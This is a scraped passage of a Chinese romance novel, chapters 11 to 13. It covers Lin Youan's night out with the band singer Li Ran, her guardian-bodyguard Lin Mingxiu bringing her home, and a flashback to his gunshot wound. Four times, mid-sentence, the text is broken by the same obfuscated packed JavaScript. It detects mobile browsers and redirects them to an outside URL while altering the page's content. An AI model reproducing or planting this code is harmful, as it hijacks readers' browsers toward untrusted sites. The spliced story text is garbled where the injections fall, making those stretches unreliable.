话音刚落,鼓声骤然停了,熊孩子像是感觉到快速逼近的敌意,偃旗息鼓了似的。 柚安脚步未停,大步向乐器室走去。 门被推开的刹那,一道电吉他声蓦然响起,金属嘶鸣划过天际,杀进耳膜。 与此同时,“熊孩子”棱角分明的脸孔也映入柚安眼帘。 竟是那天看到的,Veinblare的主唱黎燃。 林柚安倏地怔住,眼前的画面有些梦幻,电吉他和男人的长相,不知哪一样正在渐渐攫住她的呼吸。 看到她,黎燃立刻放下吉他,笑容灿烂,“你就是柚安吧?” 他认识她,这不难想。 就是不知道是从厅里挂着的全家福里,还是从当年的花边新闻上。 接着他说:“我超级喜欢你的歌!” 柚安这下可以确定,是后者。 “你的歌也很……抓耳。” 她说着,走入琴房。 这还是回港城后的第一次走进这间房,几步路程,心情起起落落,心弦几次紧绷。 黎燃微微侧身,给她让出位子,低头将琴摆正说:“你的吉他很久没弹了吧,我给你调一调。” 柚安蹙眉,“我不喜欢别人动我的乐器。” 黎燃笑意僵住,继而慢慢收敛,搭在琴桥上的手骨节分明,指甲与指腹齐平,修剪地整齐干净。 “抱歉啊。”他挠挠后脑勺。 “……算了,谁叫你长得帅呢?”柚安后退一步,目光从他脸上挪开,声音几分缥缈,“你长得很像一个人。” 黎燃唇角勾起一抹粲然的笑容,打开调音器,“谁?” “刘德华。” 黎燃大笑,连好调音器,右手搭上琴弦,先拨了一下最粗的第六弦,调音器屏幕闪了闪,显示出暗红色的字母D。左手捏住弦钮,缓慢地逆时针转了半圈,琴弦绷紧,发出细微的“吱”声。再拨弦,这次调音器变绿了,稳稳停在E上。接着是第五弦,如此往复…… 他手指修长有力,调琴时不缺细致,迅速而流畅,仿佛跟琴之间,天生有一种默契。 柚安注视着他的动作,笑说:“你以后还是弹电吉他吧,鼓打得稀碎,我还以为是个三岁的小屁孩儿。” 黎燃大笑,“这很正常,鼓我才学的,跟我们乐队鼓手。” 调完所有琴弦,他最后扫了一遍六根弦,声音整齐地铺开,像齿轮咬合般紧密。 “谢谢。”柚安说。 她忽然想起什么,转头看向门外,已不见林鸣修的身影。 黎燃环视琴房,问她:“这里的乐器你都会?专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765452|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业的?” 柚安点头,没有谦虚的意思。 黎燃笑道:“怎么可能?这里像个乐器行一样,连扬琴都有,我不信你会。” 他下巴一扬,指向那鼓,“说我打得稀碎,我不信你打得有多好。” “至少比你打得好。” 林鸣修已走到楼梯口,还是依稀能听见黎燃的笑声。 他的步伐一如既往地稳健,在将要下楼的一瞬间,却停了下来。 心头浮起的某种晦涩情绪实在无法忽视,幸而他擅长克制,知道情绪这东西,善变且飘忽不定,如果理智不能控制情感,那人和动物有什么区别? 深作呼吸后,他继续往一楼走。 刚下得一楼大厅,身后忽然传来激烈的鼓点。 心跳荡失一拍,直觉那是柚安打出来的,但又厌恨当下的直觉,还不如无知无觉,对她不了解也不在意。 紧接着,电吉他的声音席卷过来,存在感刺破苍穹,他再也不能忽视。 两对父母听到乐声,知道两个年轻人玩起来了,顿时放下了悬着的心。 林鸣修立在楼梯口,连汇报都省了,他索性转了个身,默默走出去抽烟。 不久开饭了,柚安和黎燃被叫下来吃饭,他们相邻而坐,林鸣修坐在林柚安的另一边。 见柚安跟黎燃趣味相投,尹晴对他也多了几分兴趣,有意挑起话题,让老黎夫妇多说说儿子。 他二人常居杭州,都是大学教授,儿子在港城念书,毕业后留在港城玩儿乐队。这次,老黎夫妇是以访问学者的身份来港,顺道看望儿子与老友的。 言谈中,可以听出夫妇二人对儿子几乎是平等教育,无论什么爱好都百分之百支持,三口之家气氛松散闲淡,黎燃则大大咧咧,不拘小节,像匹自由的野马。 谈及此,尹晴忍不住向丈夫投去嗔怪的目光—— 看看人家的教育理念。 “说起来,黎燃比柚安刚好小一岁,生他那年,我还向尹晴讨教过经验呢。”黎母说。 柚安惊讶极了,“只小一岁啊……那也得叫姐。” 黎燃哈哈大笑,像是听到什么荒谬的事。 他是那种五官锋利的帅,笑起来很有倾略性,亦带几分邪气。 饭后,两家人再聚一聚,就要告别。 临走,黎燃看了眼腕表,忽对柚安发起邀请:“我们乐队晚上有排练,要不要过来玩玩儿?” “这都几点了?”黎母教训儿子,“人家是女孩子!” “我负责送她回来就是。”黎燃望向柚安,“去吗?” 柚安犹豫。 倒是尹晴鼓励女儿,“去吧。” 倏尔又不放心,问他们:“十二点前能回来吗?” 黎燃有些犯难,精彩生活向来是转点之后才开始的。 柚安笑话母亲,“八颗心都不够你操的……走啦,我保证全须全尾地回来就是了。” 说着便要跟黎燃走。 林鸣修出声:“我送她去吧。” 言下之意,也会送她回来,他这个司机从来靠谱至此。 尹晴顿时放下心,展露笑颜,“那最好了,鸣修你也一起去玩玩儿吧,都是年轻人。” 林鸣修微一颔首,看向林鹤堂,“那我们走了。” 林鹤堂点了点头,“路上小心。” 11. 第 11 章 黎燃的父母与林鹤堂一家告了别,便开车走了。 小辈们也准备出发,林鸣修将车开过来,为林柚安打开副驾车门时,黎燃的车轰了过来。 他的座驾是一辆重型机车,曜石黑的车身,两道火红纹饰贯穿,像一头龇牙咧嘴的巨兽。 两声引擎轰鸣如飓风撕开大地,震得周遭瑟瑟发抖。 黎燃将车停在林鸣修的车旁,单腿支地,丢给柚安一个头盔,“坐我的车吧。” 引擎声沉闷作响,持续发出低低的怒号。 “Cool~”林柚安看到那具庞然大物,一秒都没有犹豫,丢下林鸣修走了。 林鸣修默了两秒,收回目光,关闭副驾车门,独自绕道车的另一边,矮身坐进驾驶室。 两辆车同一时间启程,路虎不远不近地跟着,车灯照亮前方的路面。 柚安感到一丝心烦,“黎燃,就这点速度?能不能甩掉他!” 黎燃回头看了一眼,“那你抓紧了!” 他压低身子,“呼呼——”几声,引擎轰鸣着劈开黑夜,路虎在后视镜中迅速倒退成残影,终于看不见了。 “爽不爽?”黎燃喊道。 后座的林柚安没有回答,风呼啸地灌进她的外套,她张了张嘴,没有说话。 机车沿着海岸线行驶到市区,时速无法再飚到一百以上。不多久,路虎再次出现在后视镜中,依旧保持着稳定的距离。 机车后座的纤瘦身影映在林鸣修注视的眸光中,随飞驰而过的霓虹一道被搅碎了,无法聚成实质。 他单手把方向盘,另一只手手肘搁在窗沿,伸手揉了揉眉心,压抑和疲惫同时涌上来…… 车停在城郊的旧工业区,如今,这里已经是颇有名气的潮流文化园区。 一座谷仓改造成的Livehouse夹在一排废弃的机械厂和锅炉车间之间,两层楼高,红褐色的砖墙上满是暗黑系的涂鸦,一道歪斜的霓虹灯管拼出VEINBLARE的字样,暮色之下,漏着半明半灭的蓝光。 林鸣修并没有跟他们进去的意思,黎燃也不多作邀请,带着柚安走了。 “你哥挺老派啊,”他边走边对柚安说,“像个家长一样。” “不用理他。”柚安说。 黎燃耸了耸肩。 早在拜访之前,就听父母说起过,林鸣修不是林鹤堂的亲生儿子,是他死去的挚交之子。 柚安对这位非亲非故的大哥态度寥寥,黎燃也就跟着有些怠慢。 并非觉得他好惹,而是打心底认为他跟他们玩不到一起去。这位大哥更适合留下来陪长辈们饮茶。 目送柚安的身影彻底消失,林鸣修熄了火,将车窗打开,点燃一支烟,也不抽,就这样静静夹在中指与无名指间。 锈迹斑斑的废弃铁轨从车前斜穿而过,野草从铁轨缝隙里肆意疯长。 他望着铁轨延伸的方向发了会儿呆,旋即拿过手机。 不一会儿,乐队各个成员的背景资料便跃然于屏幕。 指尖上划,屏幕徐徐滚动,越滚越快。 林鸣修一个字也没看进去,他早已心猿意马,心头杂念丛生。 像这样复杂的心情,在两年前也出现过一次。 那一年,柚安在酒店的总统套房,把意大利设计品牌Masscor大股东没毛的脑袋给砸了,用的红酒瓶。老头验了伤,除了天价违约金和赔偿之外,她还面临刑事诉讼。而他飞去维市帮她平这件事。 出发之前,林鸣修一直保持心情平静—— 喜欢上一个人,没有办法,就像看到神女峰,看到日照金山,看到雨后晴空,会不自觉袒露微笑,心生向往。但倘若不合时宜,他自信可以保持不去打扰的距离,安安静静等待时间将感情冲淡磨平。 毕竟觊觎恩人的女儿,比觊觎恩人的财产,更让他不齿。 他宁愿当一个司机或者保镖,用劳佣关系来计算他欠林鹤堂的恩情,这样更加问心无愧。 然而,自以为牢不可破的人生信条,在时隔多年,看到受伤的林柚安的那一刻,被几乎跳出胸腔的心跳击得粉碎。 她固然是美的,舞台上熠熠生辉的模样,他虽远隔重洋,却一秒也未曾错过—— 他没有办法不喜欢。 然而如今,那么骄傲的她,一夜之间成为了全城人的笑话。跌落谷底的样子,他竟还是喜欢,或许更甚。 她终日倔强地沉默着,没有一滴眼泪,也不肯流露出一丝脆弱。 那段时间,林鸣修恍惚觉得,整个维市都是黑白的,人群潮汐流动,像一部黑白默片,迟滞又毫无生气。 极度的压抑之后,他从狂乱的心跳中蒙生了一种从未有过的冲动,那遥远的,幽微的喜欢,变得一发不可收拾。 一直以来引以为豪的理智,在沉默的拉扯之下分崩离析,衍生出暴力。 在用大把的金钱和谈判,体面而绅士地解决问题之后,本该回港的林鸣修去而复返,突破层层安保,闯进意大利老头的VIP病房,扭断了他的手。 他以为这个长得像一只无毛猫的白人老头,就是柚安悲剧的根源。 然而当他忍不住深入调查这件事后,才发现她换经纪公司之时,就已经预料到潜规则的发生。是她自己默许了公司的安排,只是临时反悔,在最后一刻发了疯而已。 为什么明明知道后果,还要转到一家将艺人明码标价的经纪公司呢? 他忍不住问柚安。 柚安的回答,跟她砸破意大利老头的脑袋一样疯狂,她说:“想看看我作到什么程度,他才会看到我。” 后来,满身伤痕的她终于知道,在不喜欢自己的人面前,就算堕入地狱都是徒劳—— 对方未曾多看一眼,对她走入深渊袖手旁观,这才是悲剧的根源。 不过她没有告诉林鸣修这一点。 后者只得到了那句荒谬到令他咬牙切齿的答案。 每每想起,某种可耻的占有欲就会再度降临,他很想将她绑回去,一步也别再离开自己身边。 然而事实上,他只是有条不紊地帮柚安办理好去欧洲留学的手续,送她坐上飞机,然后独自回到港城,静静地等待着欲望再次被时间回收。 烟燃尽了,烟灰烫了他一下。 痛感将理智拉回些许。 如今,尚没有像那时那样,将她绑回去的冲动。 却有一种始终只能作为局外人的悲伤与恐慌。 . 孩子们走后,尹晴一直喜滋滋的。 “柚安很久没有这么开心了是不是?” 林鹤堂笑话她:“你心思都写脑门上了。” “什么心思?” “想撮合柚安和黎燃不是吗?” 尹晴笑着说:“他们不是挺玩得来吗?要不是黎燃,柚安也不会重新碰她那些宝贝。真希望他能带柚安认识一些志同道合的朋友,重新做她喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765453|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢的音乐,音乐能让她开心起来。” “那说到底,让她开心起来的还是音乐,不是那小子,不是吗?” 尹晴被丈夫的话绕进去了,皱了皱眉,不知该如何作答。 林鹤堂坐在沙发上喝茶,子女不在,他坐姿也多几分松弛。 “要撮合他们,又把鸣修叫去当电灯泡,你说你矛不矛盾?” 尹晴这下接得飞快,“你别说,还只有鸣修跟着,我才能放心。况且,我是真的想让他去放松放松的,他这阵子太紧绷了,毕竟是年轻人,天天跟你在一起,被你教得老气横秋,在饭桌上跟同辈都没有共同语言,倒是跟你和老黎能聊到一块儿去。” “这怎么了,老黎是材料系的,鸣修对再生建筑材料很感兴趣,聊到一起不是很正常?” “是是是,哎……”尹晴叹一口气,“但这不是在公司,也不是学术会议,我是觉得……这孩子还是把自己当外人。你看,哪个孩子不跟家里人闹嘴,哪个孩子在家里没点情绪的?鸣修身上就从来没有,他有点,太滴水不漏了,一家人不必这样。” 林鹤堂也叹一口气,“他又不是从小跟着我们,不能怪他。况且,他性格如此,你以为所有孩子都跟柚安似的任性胡闹?他话少,不代表没有冷血无情,恰恰他最有情义。” “所以你们两个闷葫芦惺惺相惜,更像父子,”尹晴笑着睨丈夫一眼,“哎,他跟柚安两个性格天差地别,像磁铁的两级一样,真不知道怎么才能让他们的关系缓和一点。” 话说到这儿,林鹤堂的电话响了。 接过电话,他脸色有些沉郁。 “怎么了?” “胡医生打来的,体检报告出了。” “这么晚打过来,是不是有什么不好的?”尹晴紧张起来。 “没什么,就是肺部有个小结节,八毫米。” “严不严重,需不需要手术?” “这个大小在手术干预的临界点,”林鹤堂沉吟半晌,“我不相信运气,倾向于早点切。” “我们这个年纪,任何一点小手术都是大事,明天找几个医生会诊一下再做决定?” “老胡已经在安排了,”林鹤堂将青瓷茶杯拿在手里摩挲,“这事先别告诉柚安,省得她一惊一乍的。” “……好,那鸣修呢?” “等他回来了,我自己跟他说。” . 十一点半,一行七人从Livehouse里出来,柚安和黎燃走在中间。 显然她很受这一群人欢迎,大家争相问她下次什么时候再一起玩。 柚安也很开心,虽然一再地被起哄,她也没有唱歌,但她打了鼓,还用键盘即兴帮他们伴奏了一段。 她天生在乐队的氛围里如鱼得水,哪怕只是手指轻打节拍,随口哼上几句,或者,只是坐在一旁喝啤酒,也丝毫不像是旁观者,而是他们中的一员,一个闪闪发光的存在。 “路口有家烧烤,特别好吃,吃完宵夜,我们去红点玩?”黎燃提议。 红点是园区一家通宵营业的酒吧,十二点以后才开门营业。 大家纷纷表示赞同。 一阵冷风吹来,刚喝的啤酒在胃里造反,柚安微微按压了一下吐意翻涌的胸口。 “接着。”黎燃骑上机车,将头盔丢给她。 头盔在空中划出一道弧线,却被别人截了去。 “回家了。”林鸣修拎着头盔,冷冷地说。 12. 第 12 章 场景有点像是那种无脑青春校园片。 拦路插进来一个破坏气氛的陌生人,开口就要将他们的朋友带走,血气方刚的年轻人自然心生怒火。他们带着敌意将林鸣修围了起来。 “叔叔,接小朋友放学啊?明天不上学。” “要不您先回吧,柚安还没说什么呢。” “别扫兴嘛。” 黎燃看了眼林柚安,她正一脸不忿地看向林鸣修,想必对这位“家长”,已经厌烦透了。 而对方回馈她的视线,却无半点波澜。 “要不,一起去喝一杯?”黎燃上前一步,挡在柚安面前,阻隔了两人的视线。 林鸣修手腕一抖,头盔重重落到黎燃手里。 “下次吧。”他打开副驾的车门,语气举止分明绅士,却透着一股不由分说的意味。 那道修长的身影立在车前,无声地散发出某种不容置喙的气场。被扫了性的小伙子们,谁也不敢率先发难。 柚安忽然发现,他比小时候高大了许多。 那时候,不管她玩到多晚,他都会默不作声地等她,他从不生气,话也没有很多,更没有现在如此强大,甚至散发几分侵略性的存在感。 她深信,此时此刻,如果发脾气,依旧可以让那具高大的身躯低头,配合她玩大小姐的游戏。 但是,已经不好玩了。 她不忿的眼神转为黯然。 乐队成员看向柚安,她从黎燃身后走出来,一言不发上了林鸣修的车。 黎燃无奈地转身,朝身后成员摊了摊手,有人不爽,朝路虎做出不尊重的手势,林鸣修似没有看到。 “谢谢招待。”关好副驾车门,他的目光再次变得温洵有礼。 这句感谢,似是代林柚安对他们说的。 黎燃笑着一抬手,“下次见。” 众人散了场,拖着步子远去。 “是不是不舒服?”林鸣修问柚安。 “在里面喝了罐啤酒,出来一吹风,有点想吐。” 林鸣修没有立时发动引擎,而是从置物层拿出两粒消食的药递给她,又从车载的暖水壶中倒了一杯温水。 “咀嚼完后喝水。”他提醒。 柚安犹豫几秒,将药送进嘴里,咀嚼咽下后,喝了口水,水温刚刚好。 “怎么还备着消食的药?” “以防不时之需。” 自从柚安被查出胃肠问题,他就将医生开的药备了一整套放在车上。 喝过温水,胃部舒暖多了,柚安问他,“如果我刚才不跟你走,你要怎么办?” 林鸣修的视线平平一落,“自己回去。” 柚安有些意外,“你不等我?” “你是小孩子吗?” “废话。” 柚安眉间一蹙,莫名起了一阵失落。 独自在外这么多年,自然不是没有司机就回不了家的小孩子。但她此刻,居然无法想象和黎燃他们走出livehouse时,面前没有林鸣修的车,只有那条延伸到天边的荒僻轨道的画面。 看来,还是太习惯了,习惯很可怕。 车内一时沉默,午夜的旧工业园区空旷静谧,车窗开了一小半,窗外只有风贯四野的呼啸声,狭小的车厢,好像成为被遗落的一遇,与这世界隔绝。 “我好些了,走吧。”柚安清了清嗓子,将杯里的最后一口水饮尽。 偏这一口饮地太急,呛得她猛咳。 林鸣修本能地伸出手,悬在她背后,却没有进一步,只是僵硬地悬在半空。 另一只手接在嘴巴下方,怕她要吐,又来不及开窗。 内饰灯的光线晦暗稀薄,他视线下垂,看到她额头至鼻尖的一线弧度,不由得屏了呼吸。 柚安猛咳了一阵之后,倏地仰倒在椅背上,“就是呛到了,没事。” 林鸣修来不及撤回的手,被压在她颈间,隔着衣料,还是能感觉到微烫的温度,以及肌肤的质感—— 柔软地像一朵云一样。 他迅速抽回手臂,整个过程不到两秒,但是哪怕再慢上半秒,有些东西就要暴露无余。 “不好意思。”柚安边系安全带边说—— 他抽回手臂的力度,好像透着某种反感,对于她不小心枕了他手臂这件事情。 林鸣修没有给这个话题继续下去的机会,一脚油门将车驶入车道。 柚安没好气地睨了他一眼。 就在这时,手机提示音响,滑开一看,信息是黎燃发来的。 黎燃的名称是Fire,头像是他穿拳击服的自拍照,嘴角还有淤青,人却笑得没心没肺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765454|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,裸露的小麦色肌肤,散发着青春的荷尔蒙气息。 柚安看那头像好一会儿,才点开查看。 Fire:【我回家了,你也做个好梦。】 LYA:【没去吃烧烤吗?】 Fire:【你不来,大家都没兴致,就散了。】 LYA:【抱歉。】 Fire:【你这就不酷了,来日方长,再约。】 Fire:【我一定会听到你唱现场。】 LYA:【下次一定。】 她熄了屏幕,脸上由阴转晴。 林鸣修没有做声。 又开了一段,柚安有点困了,便将椅背放倒,躺下小憩。 后座有件林鸣修的外套,来时穿着的,应该是后来嫌热,脱下来了。 柚安随手拉过来,盖在身上。 一阵淡淡的,洁净的味道荡出来,像冬季的松针林,令人感到清爽、宁静。 正处于清醒与睡着的模糊地带,那味道也显得缥缈不定,想细究,又闻不真切了。 忽想起来,刚才林鸣修凑近的那一刻,也闻到了这个味道。 她后知后觉地发现,他那时,是想接她的吐。 眉头不自觉揪成一团,觉得很丢脸,又庆幸没有真的吐出来,否则如何收场? 她蹑手蹑脚将盖至半张脸的外套拉下来,那气息初闻起来很禁欲,在鼻尖徘徊得久了,却莫名叫人平静不下来。 这车,真的太小了。 . 回到家,料想林鹤堂和尹晴都睡了,两人一前一后,安安静静地上楼。 柚安走在后面,困得睁不开眼,脚步拖沓,落下一段距离。 林鸣修率先上到三楼,远远就被林鹤堂叫住。 “有件事跟你说。”柚安听见父亲低沉的声音,看了眼表,十二点四十五。 她本能地顿了脚步,停在楼梯拐角。 不知道从什么时候起,跟父亲关系疏远至此的。在家里还要躲着,这种本能反应未免太窝囊。 她深吸一口气,几步登上最后一节楼梯,伸头望去,却只看见两道步向卧室的背影。 再后来,就是卧室关门的声音。 整个家瞬间归于寂静,一股莫大的失落感笼罩下来,夹杂几许令人不安的预感。 13. 第 13 章 那一年林柚安十六岁。 林鸣修还差一年从公安大学毕业,假期时,已经以助理的身份跟着林鹤堂进进出出了。 实则他是保镖,在学校的操练已然到位,只差实践。可是和常年跟在林鹤堂身边的专业人士相比,还远没有荷枪实弹的资格。 所以他是也兼任司机、秘书、打杂、跑腿……以最边缘,一个小助理的身份。 那年暑假,林鹤堂去阿联酋谈生意,带上了林鸣修。 一想到至少半个暑假看不到林鹤堂的阎王脸,柚安高兴坏了,把每一天的行程排得满满当当。 那时,她正沉迷摇滚,天天画着叛逆的妆容,跟着地下乐队演出。 父女俩每次碰面,就像火星撞地球。 晚上九点,她玩完回来,心情大好,一路生风,板鞋将雪白的大理石地面踩出一串泥脚印。管家跟在后面想说什么,晚了几步,她已走到大厅。 早晨去补习班穿的红黑格纹衬衫,已经被改装成裙子系在腰间,上身是一件打底黑背心,露出上臂骷髅样式的贴纸纹身,眼线黑得吓人,唇色紫黑,还夹了枚唇环。 看到坐在墨绿色PoltronaFrau沙发正中央的林鹤堂,柚安吓得心脏蹿了一拍,周遭空气都稀薄了几分。 “爸,您提前回了?”她故作镇定,默默摸走唇环。 兴许是生意谈失败了,林鹤堂看上去心情很差,见她这副模样,脸色愈发难看。 教训的话都不想说了,他直接命令限制小姐出门,请补习老师上门。 “华盛顿那边的学校已经安排好了,高中毕业就送你过去,口语抓紧一点。” 柚安一听就炸火,“我说过了,不想念商科!” 林鹤堂声调沉冷,“念什么都行,除了音乐。” “爸!” “你自己看看你现在什么样!” “好了,你们都冷静了一下。”尹晴被佣人扶着从电梯下来,她轻轻说了一声,爆竹似的两个人同时敛了声。 柚安飞快地走过去挽住尹晴的胳膊,后者视力一天不如一天,出行都需让人扶着,柚安不敢让她担心,吞下眼泪小声说了句,“对不起。” 尹晴摸了摸她的头,“鸣修保护你爸受了伤,正在楼上养伤,你们别影响他休息。” “他来了?他干嘛在我们家养伤?” 柚安闻言,再次炸毛,话语间,偷瞥了眼父亲,只见他脸色又沉了三分。 “你先去给我把脸洗了。”尹晴带着柚安上楼。 她卸妆洗脸的功夫,尹晴解释了来龙去脉。 “你孟姨身体不好,看到儿子受这么重的伤,怕是要伤心死了。是我让鸣修住在这里养伤的,也方便照料。我知道你不喜欢鸣修,但这段时间,不许惹他。他是保护你爸受的伤,你爸心里本来就不好受,你知道吗?” “我知道,爸最喜欢他了,”柚安嘟囔,“这么矜贵,当什么保镖。” 尹晴给了女儿一记爆栗。 “妈!”柚安赶紧照镜查看,额头红了。 “放乖点,我去看看你爸。” 尹晴走后,柚安换了身衣服从卧室出来,门外已经站了一个佣人。 柚安脑门直跳,“爸说不让我出门,不是不让我出卧室的门,不用走哪都跟着!怕我翻墙吗?” 翻墙这种事她也不是没做过,但是佣人不敢多话,还是离开了。 卧室的隔壁是她的书房,林鹤堂为她购置了一整面墙的世界名著,她一本也不喜欢,反而觉得那一整面书籍,像整墙陌生的眼睛,监视着自己。 是以极少踏足这里。 这会儿,管家正在指挥佣人将书房重新打扫,除旧布新。 “这会儿大扫除?”她不解地问。 管家毕恭毕敬地回答:“老爷吩咐,顾少爷修养期间,在这里办公学习。我们重新打扫一遍,腾出地方放他的东西。” 林柚安盯着面色苍白的管家,“问过我没有?怎么可以就这样霸占我的房间?” 管家一时不敢作声。 这间书房,小姐已经有好几年都不用了。 林柚安知道在这里得不到答案,她又不敢去惹林鹤堂,于是气冲冲地朝林鸣修的房间走去。 从入住这里到霸占书房,简直是鸠占鹊巢的拟人版,下一步是什么?真的认她父母当爸妈吗? 尹晴不让她欺负他,她偏不信邪。 闯进林鸣修房门的时候,两手已经握成拳头。 然而下一秒就愣住了。 三名穿白衣的医护人员遮住她的视线,一时看不到林鸣修的脸,依稀能辨认出姿势,他半躺着,似乎在上药。 一名护士操作,一名护士辅助,还有一名站在后面,手里端着医疗托盘,托盘里满是换下来的,沾染血迹和暗黄色药渍的纱布,林柚安第一眼,就是看到了这些纱布。 血腥味和消毒水味混杂。她视线缓缓靠近,只能看见床褥上垫了一层隔汗垫,林鸣修攥着垫子的边缘,拳头隐隐在发抖。 大小姐的世界,风调雨顺,这样程度地受伤,远非她能想象。 后来她才知道,林鸣修是中弹了。 他们在阿联酋遇到不要命的悍匪抢劫,他们拿枪攻击,林鹤堂的保镖也立马掏枪。林鸣修身无长物,他就站在离林鹤堂最近的地方,于是赶紧用身体护着他,找机会离开。 就是在这个过程中,他肋骨处中了一枪。 劫匪被制住后,林鸣修立刻被送往医院,幸好没有伤及要害。 林鹤堂二话不说放下生意,亲自将林鸣修送了回来。 谁会想到这个傻子真的说到做到,帮他挡子弹? 如果留下什么后遗症,叫他怎么面对死去的老友? 换药的过程对患者来说是最艰难的,毕竟取子弹的手术打了麻药,而换药需要将伤口刨开,刮去里面新长出的脓和污秽物,把药压进创面,这个过程全程清醒。 这是取出子弹之后的首次换药,林鸣修全程隐忍,没有流露出半点痛楚。可还是在棉签头探入两厘米深的创腔,来回清创时,忍不住轻哼出声。 闷闷的一声,让柚安直球发怒的脑子彻底乱掉。 护士挪动之间,他的伤口随着裸露的上半身暴露出来,那道深红色的豁口随他呼吸起伏。 下一秒,护士就抻开纱布,将他沟壑起伏的胸腹肌肉重重包裹住了。 “好了。” “谢谢。”他微微侧身,让她们将身下的隔汗垫抽出来。 一偏头,与门边林柚安的视线撞了个正着。 大小姐穿着一套白色缎面的家居服,灯笼短裤,吊带背心外罩了件同材质的罩衫,领口一圈细碎的蕾丝,头发垂下来,刚洗过的脸白皙剔透,湿润还未褪去,一双眼睛由显潮湿,眼尾微红,眼中含了些许惊恐。 林鸣修怔了,霎时连痛觉都丢失无踪。 护士收好器具,鱼贯而出,那张隔汗垫湿得能拧出水来,引得护士“啧啧”两声。 房间只剩里外两个人,林鸣修扯出微笑,“对不起,吓到你了吧?” 大小姐像是刚回过神,剔透的双颊瞬间爬上一层酡红,人一扭头跑了,听脚步声,还跑得飞快。 林鸣修摸了摸胸下的伤口,神色迷茫。 真的吓到她了…… 当天晚些时候,林鹤堂敲开林鸣修的房门,有事找他谈一谈。 “你害怕吗?”林鹤堂问他,“枪林弹雨的真实经历,和你学校里操练的那些,终究是两码事吧。” 林鸣修平实作答:“既然决定要当保镖,这些伤都是有心里预设的,您不必挂碍。” 林鹤堂从床旁边的书桌前拖出一把椅子坐下,交叠双腿。 已年过五十的他依然挺拔,不见一根白发,眼中有着决策者的锐意,如膺般审视,渊渟岳峙,不怒自威。 “我以为,挡子弹那番话的话,只是为了让我留住你的说辞,没想到你真的去学安保,真的替我挡子弹,你跟老顾一样轴。说说看,你是怎么想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765455|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,是不是和我料想的一样。” 林鸣修稍感惶恐,“我?我就是想靠能力,在您身边混口饭吃。” 林鹤堂笑了一声,“那我说吧。” 林鸣修微微咽了口口水,努力坐直。 “来找我的那一年,你上高中,成绩不错,正常考上大学,学什么专业应该都有的挑。想留在我身边,在港大念管理、建筑、金融都是很不错的选择,之所以只想当个保镖,是因为你怕我对你有所防备,怀疑你有所企图,反而将你推远。” 林鸣修垂眸,抿了下唇。 林鹤堂继续说:“你也可以拿了我资助你的钱,与我保持距离,毕业后去别的公司上班,从事其他专业,这样也能消除我的顾虑。但你没有,你其实,就是想留在我身边的是不是?” 林鸣修张了张嘴:“您都看出来了。” 的确,让他跑腿,打杂,接送柚安,处理能力范围内的一应人情私务,也都是圆了他想留下来的愿望,只是默默地,没有戳破。 “为什么呢?你不是只想混口饭吃,解决母亲的医药费,和老顾留下的债务问题对不对?” 被看得透透的,林鸣修这下反倒坦然:“我想,如果留在您身边,哪怕当个保镖,也能学到很多东西,我爸当年是被他的合作伙伴陷害的,我了解这个行业多一点,就能多一分机会,替他翻案。还有,他的‘绿色能源社区’,是一个可以发展的计划,我不是盲目地崇拜他,才这么说的。” “你想替他将这个计划进行下去?” 林鸣修默了默,点头。 “什么时候开始呢?” “等我羽翼丰满。” “你可以忍耐多久?” “……一辈子。” 林鹤堂看着局促又坚定的年轻人,不禁想起他的老友,犀利的目光多了几分柔软。 “祈年是一个环保主义者,一个过度忧心的环境的人在房地产业,是快乐不起来的,他总是跟我吵架,好像每块地皮的开发,都是踩着环境和能源的伤口牟利似的。我则一再否定他那些吃力不讨好的废料再生项目。最后一次,他不知道哪里得到的消息,怀疑我新海□□的开发项目是贿赂了环保局官员才得到的,那块地原是稀有珊瑚保育区,根本不适合开发。我们大吵一架,他卖了他那部分股权,说道不同,不相为谋。” “那,我爸说的是真的吗?”林鸣修没忍住,“珊瑚保育区的事?” 林鹤堂掀眸,“你觉得呢?” 这不是他一个连门都没叩开的人,该问的问题。 林鸣修即刻改口。 